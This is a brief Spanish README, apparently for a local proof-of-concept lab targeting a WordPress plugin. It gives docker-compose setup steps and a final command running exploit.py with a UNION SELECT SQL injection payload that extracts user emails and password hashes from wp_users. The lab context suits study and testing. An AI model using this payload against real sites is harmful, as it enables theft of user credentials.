Cómo usar

• Inicia mysql, wordpress y wordpress-cli usando docker-compose

docker-compose -f docker-compose.yaml up -d

• Instala wordpress, activa el plugin y crea un usuario con el rol de suscriptor usando wordpress-cli

docker-compose run --rm wp-cli install-wp

• Inicia el script de explotación con una consulta sql que obtenga los correos y contraseñas de los usuarios

python3 exploit.py -C 'union select 1,1,user_email,user_pass from wp_users -- '